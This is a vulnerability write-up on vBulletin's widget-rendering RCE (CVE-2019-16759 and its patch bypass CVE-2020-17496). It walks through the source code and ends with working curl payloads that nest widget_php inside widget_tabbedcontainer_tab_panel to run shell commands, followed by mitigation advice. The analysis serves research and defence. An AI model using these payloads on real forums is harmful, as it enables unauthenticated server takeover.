Secret of the widget. Exploiting a new severe vulnerability in vBulletin

In September 2019, the CVE-2019-16759 vulnerability was discovered in the vBulletin forum engine. The bug enabled any user to execute arbitrary commands in the system and even resembled a backdoor. The developers have promptly fixed it, but in August 2020, a new possibility to bypass the patch and exploit the last year’s security hole was found.

vBulletin is an advanced forum engine enabling numerous users to communicate with each other. Due to the rapid development of instant messengers, forums somewhat lost their relevance nowadays, but two-thirds of the existing forums are based on the vBulletin engine.

The essence of the original bug is as follows: the tabbedcontainer_tab_panel widget makes it possible to load child widgets and pass arbitrary parameters to them. Using a specially crafted request, the attacker can call widget_php and remotely execute arbitrary PHP code.

The vulnerability was recognized critical and quickly patched by the developers.


The new bug was discovered by Amir Etemadieh also known as @Zenofex. Its reference number is CVE-2020-17496. The vulnerability affects vBulletin versions from 5.5.4 to 5.6.2. The exploitation became possible because the last year’s patch doesn’t fix CVE-2019-16759 completely.

This article explains how vBulletin deals with request routing and how widgets and their templates work, provides an in-depth analysis of the vulnerability, and, of course, shows how to exploit it.

Test system

As usual, I create the test environment using Docker. First of all, I create a container for the database using MySQL.

docker run -d -e MYSQL_USER="vb" -e MYSQL_PASSWORD="JS7G5yUmaV" -e MYSQL_DATABASE="vb" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7

Then I run the container that will accommodate the web server and the forum. Important: don’t forget to link it with the DB container.

docker run --rm -ti --link=mysql --name=vbweb --hostname=vbweb -p80:80 debian /bin/bash

I am going to use the Apache server; so, I install it and PHP with all the required modules.

apt update && apt install -y apache2 php nano unzip netcat php-mysqli php-xml php-gd

I enable the mod-rewrite module and launch Apache.

a2enmod rewrite
service apache2 start

Time to install vBulletin. Since it’s a commercial product, I won’t describe in detail how to get it. All tests will be performed with the latest vulnerable version: 5.5.6. I unpack it to the /var/www/html directory and install.

Installing vBulletin
Installing vBulletin

I am going to use the Xdebug + PhpStorm combination for debugging. This allows to examine the vulnerability in detail and analyze the source code.

I install and enable Xdebug. It’s preferable to do this after the vBulletin installation: I had problems installing the forum and had to disable Xdebug during this process.

apt update && apt install -y php-xdebug
phpenmod xdebug

I enable remote debugging and specify the IP address of the server. Important: in your case, this address, as well as paths to the files may be different.

echo "xdebug.remote_enable=1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini
echo "xdebug.remote_host=" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini

Restarting the web server.

service apache2 restart

Then I enable listening for connections from the debugger. To trigger the debugger, I add the XDEBUG_SESSION_START=phpstorm parameter to the request.

Enabling listening for connections from Xdebug in PhpStorm
Enabling listening for connections from Xdebug in PhpStorm

The test system is ready, and I can start examining the vulnerability.

URI handling

Let’s see, how vBulletin processes user’s requests (to be specific, routes).

01: <IfModule mod_rewrite.c>
02: RewriteEngine On
39: RewriteCond %{REQUEST_FILENAME} !-f
40: RewriteCond %{REQUEST_FILENAME} !-d
41: RewriteRule ^(.*)$ index.php?routestring=$1 [L,QSA]

The program checks whether the file exists, and if not, the specified URI is sent as the routestring parameter.

Similar to other modern frameworks, the forum supports the class autoloading with spl_autoload_register.

33: require_once('includes/vb5/autoloader.php');
34: vB5_Autoloader::register(dirname(__FILE__));
13: abstract class vB5_Autoloader
14: {
15: protected static $_paths = array();
16: protected static $_autoloadInfo = array();
18: public static function register($path)
19: {
20: self::$_paths[] = (string) $path . '/includes/'; // includes
22: spl_autoload_register(array(__CLASS__, '_autoload'));
23: }

Then the transmitted route is validated. For that purpose, the isQuickRoute method is called.

37: if (vB5_Frontend_ApplicationLight::isQuickRoute())
079: public static function isQuickRoute()
080: {
091: foreach (self::$quickRoutePrefixMatch AS $prefix => $route)
092: {
093: if (substr($_REQUEST['routestring'], 0, strlen($prefix)) == $prefix)
094: {
095: return true;
096: }
097: }
099: return false;
100: }

The $quickRoutePrefixMatch variable stores prefixes of routes that must be processed using quickRoute.

Route validation in vBulletin 5.5.6
Route validation in vBulletin 5.5.6

Back to the basics. Widgets, CVE-2019-16759, and its patch

Let’s get back to the exploit created for the last year’s CVE-2019-16759 vulnerability.

POST /index.php HTTP/1.1
Host: vb.vh
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Connection: close

In this particular case, ajax/render/widget_php is transmitted as routestring. The prefix meets the quickRoute condition. And then, $app->execute() is called.

37: if (vB5_Frontend_ApplicationLight::isQuickRoute())
38: {
41: if ($app->execute())

This is the main method that passes the control to the required code sections in order to process the user’s request. In this example, the callRender handler is called, and it starts generating a response to the user.

161: public function execute()
181: $serverData = array_merge($_GET, $_POST);
183: if (!empty($this->application['handler']) AND method_exists($this, $this->application['handler']))
184: {
185: $app = $this->application['handler'];
186: call_user_func(array($this, $app), $serverData);
vBulletin calls the callRender handler
vBulletin calls the callRender handler
282: protected function callRender($serverData)
283: {
284: $routeInfo = explode('/', $serverData['routestring']);

The next section of the code is the first patch that fixes the last year’s RCE bug.

291: $templateName = $routeInfo[2];
292: if ($templateName == 'widget_php')
293: {
294: $result = array(
295: 'template' => '',
296: 'css_links' => array(),
297: );
298: }

If the name of the requested template is widget_php, then an empty array is returned.

Time to discuss widgets and their templates in more detail. vBulletin uses a system of widgets (modules) that can display various information on the website. Accordingly, a page on this site can consist of a number of such widget blocks featuring their own styles and data. The majority of modern content management systems (CMS) use this convenient and flexible customization tool.

All widget templates are described in the file vbulletin-style.xml. During the forum engine installation, they are recorded in the database.

<templategroup name="Module">
<template name="widget_aboutauthor" templatetype="template" date="1452807873" username="vBulletin" version="5.2.1 Alpha 2"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
<template name="widget_activate_email" templatetype="template" date="1458863949" username="vBulletin" version="5.2.2 Alpha 3"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">

The templates are written not in the canonical PHP scripting language; instead, they use their own syntax that has to be processed by the template engine first. The template engine returns the result as a PHP string that subsequently undergoes ‘rendering’. During this process, the data are passed to the eval function.

The list of available widgets includes widget_php. This module allows to display the output of arbitrary PHP code executed by the system.

<template name="widget_php" templatetype="template" date="1569453621" username="vBulletin" version="5.5.5 Alpha 4"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
{vb:data widgetConfig, widget, fetchConfig,
{vb:raw widgetinstanceid}}
<vb:if condition="!empty($widgetConfig)">
{vb:set widgetid, {vb:raw widgetConfig.widgetid}}
{vb:set widgetinstanceid,
{vb:raw widgetConfig.widgetinstanceid}}
{vb:template module_title,
widgetConfig={vb:raw widgetConfig},
can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
<div class="widget-content">
<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
{vb:phpeval {vb:raw widgetConfig.code}}

The above piece of code contains another consequence of the first patch fixing the last year’s vulnerability. Note the version attribute: this is the version of the latest template update (5.5.5 Alpha 4). Prior to the patching, the code section containing the PHP code execution was looking differently.

vBulletin 5.5.3/core/install/vbulletin-style.xml
<div class="widget-content">
<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
{vb:action evaledPHP, bbcode, evalCode,
{vb:raw widgetConfig.code}}
{vb:raw $evaledPHP}
<vb:else />

This will be discussed in more detail a bit later; what’s important at this point is that the class working with templates is called vB_Template.

Now let’s get back to the CVE-2019-16759 exploit. Imagine that an unpatched version of the forum is used, and the script execution continues.

301: $this->router = new vB5_Frontend_Routing();
302: $this->router->setRouteInfo(array(
303: 'action' => 'actionRender',
304: 'arguments' => $serverData,
305: 'template' => $templateName,
310: 'queryParameters' => $_GET,
311: ));
312: Api_InterfaceAbstract::setLight();
313: $result = vB5_Template::staticRenderAjax($templateName, $serverData);

Now the control is passed to the class vB5_Template. The staticRenderAjax method is called, and I get from it into the more general staticRender method.

16: class vB5_Template
17: {
731: public static function staticRenderAjax($templateName, $data = array())
732: {
733: $rendered = self::staticRender($templateName, $data, true, true);
737: return array(
738: 'template' => $rendered,
739: 'css_links' => $css,
740: );

At the next step, the program compares the variables in the widget template with those sent by the user in the request. As you remember, I have sent the widgetConfig[code]=system('ls'); parameter.

703: public static function staticRender($templateName, $data = array(), $isParentTemplate = true, $isAjaxTemplateRender = false)
704: {
710: $templater = new vB5_Template($templateName);
712: foreach ($data AS $varname => $value)
713: {
714: $templater->register($varname, $value);
715: }
Comparison of parameters from the request and variables in the widget template
Comparison of parameters from the request and variables in the widget template
{vb:phpeval {vb:raw widgetConfig.code}}

The required classes are loaded, and I get into the template rendering method.

717: $core_path = vB5_Config::instance()->core_path;
718: vB5_Autoloader::register($core_path);
720: $result = $templater->render($isParentTemplate, $isAjaxTemplateRender);

Here I see another code section that patches the last year’s vulnerability: the cleanRegistered method.

341: public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
342: {
350: if($isParentTemplate)
351: {
352: $this->cleanRegistered();
353: }
128: private function cleanRegistered()
129: {
130: $disallowedNames = array('widgetConfig');
131: foreach($disallowedNames AS $name)
132: {
133: unset($this->registered[$name]);
134: unset(self::$globalRegistered[$name]);
135: }
136: }

As you can see, widgetConfig is removed from the registered template variables, thus, making it impossible to change the widget configuration directly from the request. I use this very variable to transmit the payload to PHP.

The cleanRegistered method fixes the CVE-2019-16759 vulnerability
The cleanRegistered method fixes the CVE-2019-16759 vulnerability

But what if I don’t have this method? If so, the vBulletin cache is initialized, and the control passes to getTemplate.

391: $templateCache = vB5_Template_Cache::instance();
392: $templateCode = $templateCache->getTemplate($this->template);
177: public function getTemplate($templateId)
178: {
180: if (is_array($templateId))
181: {
182: return $this->fetchTemplate($templateId);
183: }
185: if (!isset($this->cache[$templateId]))
186: {
187: $this->fetchTemplate($templateId);
188: }
190: if (isset($this->cache[$templateId]))
191: {
192: return $this->cache[$templateId];
193: }

First, this method tries to find the already generated template code in the cache; is no such code can be found, then fetchTemplate comes into play.

207: protected function fetchTemplate($templateName)
208: {
216: $method = 'fetch';
217: $arguments = array('name' => $templateName);
218: }
224: $response = Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments);

All the magic is contained in the following call:

Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments)

The ready-to-use PHP code is produced on the basis of the template pseudocode.

084: public function callApi($controller, $method, array $arguments = array(), $useNamedParams = false, $byTemplate = false)
085: {
101: $result = call_user_func_array(array(&$c, $method), $arguments);
19: class vB_Api_Template extends vB_Api
20: {
49: public function fetch($template_name, $styleid = -1)
50: {
51: return $this->library->fetch($template_name, $styleid);
52: }
19: class vB_Library_Template extends vB_Library
20: {
31: public function fetch($template_name, $styleid = -1, $nopermissioncheck = false)
32: {
50: $templates = $this->fetchBulk(array($template_name), $styleid, 'compiled', $nopermissioncheck);
The callApi method is executed. Getting the widget template
The callApi method is executed. Getting the widget template

In the fetchBulk method, the widget template is loaded from the database

The widget template (widget_php) is loaded from the database
The widget template (widget_php) is loaded from the database
68: public function fetchBulk($template_names, $styleid = -1, $type = 'compiled', $nopermissioncheck = false)
69: {
121: if (!empty($templateids))
122: {
123: $result = vB::getDbAssertor()->select('template', array('templateid' => $templateids), false,
124: array('title', 'textonly', 'template_un', 'template'));
126: foreach ($result AS $template)
127: {
128: if ($type == 'compiled')
129: {
130: $response[$template['title']] = $this->getTemplateReturn($template);
131: self::$templatecache[$template['title']] = $response[$template['title']];
132: }

The result is saved in the cache.

227: if (is_array($response) AND isset($response['textonly']))
228: {
252: else
253: {
257: $response = str_replace('vB_Template_Runtime', 'vB5_Template_Runtime', $response);
258: $this->cache[$templateName] = $response;

In the case of widget_php, the code rendered by the template engine looks as follows:

01: $final_rendered = '' . ''; if (empty($widgetConfig) AND !empty($widgetinstanceid)) {
02: $final_rendered .= '
03: ' . ''; $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final_rendered .= '' . '
04: ';
05: } else {
06: $final_rendered .= '';
07: }$final_rendered .= '' . '
20: ' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . '
22: <div class="widget-content">
23: ' . ''; if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) {
24: $final_rendered .= '
25: ' . '' . '
26: ' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . '
27: ';
The widget_php template is generated
The widget_php template is generated

String 26 contains the following construct: vB5_Template_Runtime::evalPhp. But this piece of code was different prior to the patching. As said above, the entire widget template had looked differently.

vBulletin 5.5.3/core/install/vbulletin-style.xml
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
<vb:else />

The vB5_Frontend_Controller_Bbcode had processed this construct and ultimately called the standard eval function.

vBulletin 5.5.3/includes/vb5/frontend/controller/bbcode.php
013: class vB5_Frontend_Controller_Bbcode extends vB5_Frontend_Controller
014: {
224: function evalCode($code)
225: {
226: ob_start();
227: eval($code);
228: $output = ob_get_contents();
229: ob_end_clean();
230: return $output;
231: }

In the new version of the forum engine, the developers have revised the program logic of the widget by adding a new method: vB5_Template_Runtime::evalPhp. This method also executes the code transmitted in the widgetConfig['code'] parameter, but the difference is that it checks the name of the template that attempts to call the method. If this name is different from widget_php, an empty string is returned.

1992: public static function evalPhp($code)
1993: {
1996: if (self::currentTemplate() != 'widget_php')
1997: {
1998: return '';
1999: }
2000: ob_start();
2001: eval($code);
2002: $output = ob_get_contents();
2003: ob_end_clean();
2004: return $output;
2005: }

This solution was supposed to enhance security and prevent all other templates from transmitting potentially unsafe data to the eval function.

Now let’s get back to the script execution. If the widget code is successfully received, it is passed for execution.

392: $templateCode = $templateCache->getTemplate($this->template);
400: eval($templateCode);
444: vB5_Template_Runtime::endTemplate();
452: return $final_rendered;
PHP code contained in the widget_php template is executed
PHP code contained in the widget_php template is executed

So, the payload is executed, and the output of the system('ls') function can be seen in the server’s response.

Successful exploitation of the CVE-2019-16759 vulnerability in vBulletin
Successful exploitation of the CVE-2019-16759 vulnerability in vBulletin

As you can see, it’s still possible to execute arbitrary code using widget_php; the only difference is that it cannot be done directly. Of course, ethical hackers started looking for a way to bypass this restriction and ultimately discovered a new vulnerability.

CVE-2020-17496 details

The point is that widgets can be both independent and nested elements. Several child widgets can be nested in another widget (i.e. it is possible to process and display the outputs of other widgets). This program logic is in line with the idea to bypass the restrictions added by the patch that fixes the CVE-2019-16759 vulnerability. All you have to do is find a widget whose template allows to call child ones. And Amir Etemadieh found such a widget: widget_tabbedcontainer_tab_panel.

<template name="widget_tabbedcontainer_tab_panel" templatetype="template" date="1532130449" username="vBulletin" version="5.4.4 Alpha 2"><![CDATA[{vb:set panel_id, {vb:concat {vb:var id_prefix}, {vb:var tab_num}}}

The widget processes the subWidgets array, searches for the template key in it, and loads the template of the widget specified in it.

<vb:each from="subWidgets" value="subWidget">
  -- {vb:raw subWidget.template}

The config key allows to transmit parameters to a child template (note the widgetConfig attribute).

<vb:each from="subWidgets" value="subWidget">
{vb:template {vb:raw subWidget.template},
widgetConfig={vb:raw subWidget.config},
widgetinstanceid={vb:raw subWidget.widgetinstanceid},
widgettitle={vb:raw subWidget.title},
product={vb:raw subWidget.product}

Let’s test this idea on some simple widget.

<template name="widget_search2_viewall_link__searchresults" templatetype="template" date="1504914629" username="vBulletin" version="5.3.4 Alpha 2"><![CDATA[<a href="{vb:url 'search'}?r={vb:raw nodes.resultId}" class="b-button">
<vb:if condition="!empty($widgetConfig['view_all_text'])">
{vb:var widgetConfig.view_all_text}
<vb:else />
{vb:phrase view_all}

In this case, view_all_text can be sent as a parameter. This text will be displayed in the template as link text. So, I send the request.

curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm" -s -X POST -d 'subWidgets[0][template]=widget_search2_viewall_link__calendar&subWidgets[0][config][view_all_text]=HELLOTHERE!'

During the rendering of widget_tabbedcontainer_tab_panel, a placeholder is inserted into the place where the child widget will be located. Accordingly, the template looks as follows.

<div id="" class="h-clearfix js-show-on-tabs-create h-hide">
<!-- ##template_widget_search2_viewall_link__calendar_0## -->

Then the replacePlaceholders method is called; as its name implies, the method goes through the template searching for placeholders, calls the required modules, and inserts the result into the right places.

421: // always replace placeholder for templates, as they are process by levels
422: $templateCache->replacePlaceholders($final_rendered);
Rendering nested widgets in the template
Rendering nested widgets in the template

The same set of calls is used here. The fetchTemplate method receives the widget template.

103: public function replacePlaceholders(&$content)
104: {
105: // This function procceses subtemplates by level
107: $missing = array_diff(array_keys($this->pending), array_keys($this->cache));
108: if (!empty($missing))
109: {
110: $this->fetchTemplate($missing);
111: }

Then the variables are passed to it. This is how the parameters from my POST request are added to the template.

125: foreach ($levelPending as $templateName => $templates)
126: {
127: foreach ($templates as $placeholder => $templateArgs)
128: {
129: $templater = new vB5_Template($templateName);
130: $this->registerTemplateVariables($templater, $templateArgs);
Passing variables to the child template
Passing variables to the child template

Then the child module is rendered.

132: try
133: {
134: $replace = $templater->render(false);

This is how I bypass the patch section that checks the module name.

292: if ($templateName == 'widget_php')
293: {
294: $result = array(
295: 'template' => '',
296: 'css_links' => array(),
297: );

Furthermore, this time I don’t get into the branch with the cleanRegistered method. This is because the render call was initiated not by the parent method, and the isParentTemplate variable was set to false.

When a child widget is rendered, neither cleanRegistered is called nor the widgetConfig variable is cleared
When a child widget is rendered, neither cleanRegistered is called nor the widgetConfig variable is cleared
341: public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
342: {
350: if($isParentTemplate)
351: {
352: $this->cleanRegistered();

This means that widgetConfig won’t be cleared at runtime. Another section of the patch fixing the last year’s vulnerability has been bypassed.

The child widget is executed, and its output is added to the parent widget.

171: $content = str_replace($placeholder, $replace, $content);
The child widget is added to the parent one
The child widget is added to the parent one

The final result looks something like this:

<div id="" class="h-clearfix js-show-on-tabs-create h-hide">
<!-- BEGIN: widget_search2_viewall_link__calendar --><a href="!!VB:URL1284a43c8c1d5b8763560fbb7e88642e!!?searchJSON=" class="b-button">
</a><!-- END: widget_search2_viewall_link__calendar -->
An arbitrary child widget is called from the parent widget in vBulletin
An arbitrary child widget is called from the parent widget in vBulletin

But frankly speaking, this is all kids’ stuff. Time has come for some serious things. I take last year’s exploit and replace its direct call with the child call of another widget.

subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;

Then I send the result to widget_tabbedcontainer_tab_panel.

curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel" -s -X POST -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;'

In response, I get the output of the command executed on the server.

Successful RCE exploitation in vBulletin
Successful RCE exploitation in vBulletin

Vulnerability demonstration (video)


In this article, I tried to address various aspects of the vBulletin forum engine, including the implementation of widgets and their weaknesses. In fact, the current implementation raises many security-related questions. The parsing of PHP pseudocode and its execution involving the eval function creates many potential bottlenecks. For instance, any unfiltered or incorrectly filtered variable in the template may lead to another RCE. You have to closely monitor the correctness of the template code generation, while the XSS filtering becomes a real headache.

The bug has already been fixed by the developers; so, if you administer a forum based on this engine, update the software or install the patches ASAP.

As a temporary solution, you may disable PHP rendering in widgets. As you have likely noticed, the template includes a check for the disable_php_rendering option.

<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">

To do so, go to the Admin Panel, select General Settings, and enable the option Disable PHP, Static HTML, and Ad Module rendering.

Temporary solution for CVE-2020-17496: disabling modules executing PHP code
Temporary solution for CVE-2020-17496: disabling modules executing PHP code

Of course, this may break something on your forum, but at least, it won’t be broken by attackers. Good luck!

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">